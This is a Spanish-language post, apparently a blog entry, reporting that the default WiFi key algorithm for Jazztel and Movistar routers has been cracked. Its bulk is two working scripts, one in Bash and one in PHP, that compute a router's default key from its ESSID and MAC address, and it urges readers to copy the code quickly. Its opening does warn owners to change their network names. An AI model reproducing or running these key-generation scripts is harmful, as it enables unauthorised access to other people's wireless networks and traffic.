Los usuarios de jazztel y movistar que no hayan cambiado el nombre (ESSID) de sus wifis pueden ir pensando en hacerlo: El algoritmo ha sido descifrado. Por lo visto, el que sacó a la luz el algoritmo fue elvecinoo en este hilo de lampiweb En http://kz.ath.cx/wlan/ (entre otros mas que alojan los algoritmos) se ingresa nombre y la MAC del router y te la clava.
Algunos ejemplos:
En BASH:
#!/bin/bash echo CalcWLAN by a.s.r if [ $# -ne 2 ] then echo "Usage: $0 <ESSID> <BSSID>" echo echo "Example: $0 WLAN_C58D 64:68:0C:C5:C5:90" exit 1 fi HEAD=$(echo -n "$1" | tr 'a-z' 'A-Z' | cut -d_ -f2) BSSID=$(echo -n "$2" | tr 'a-z' 'A-Z' | tr -d) BSSIDP=$(echo -n "$BSSID" | cut -c-8) KEY=$(echo -n bcgbghgg$BSSIDP$HEAD$BSSID | md5sum | cut -c-20) echo "La puta clave es $KEY"
En PHP:
// THIS CODE IS UNDER THE PUBLIC DOMAIN function right($string, $chars) { return substr($string, strlen($string) - $chars, $chars); } if (isset($_POST['essid']) && isset($_POST['bssid'])) { $bssid = preg_replace('/:/', '', strtoupper(trim($_POST['bssid']))); if (strlen($bssid) != 12) { die('Mete bien la MAC, buen hombre.'); } $essid = strtoupper(trim($_POST['essid'])); $_ssid = substr($bssid, 0, 8).right($essid, 4); die(substr(md5('bcgbghgg'.$_ssid.$bssid), 0, 20)); }
Daos prisa antes de que cierren las webs donde se alojan los fuentes.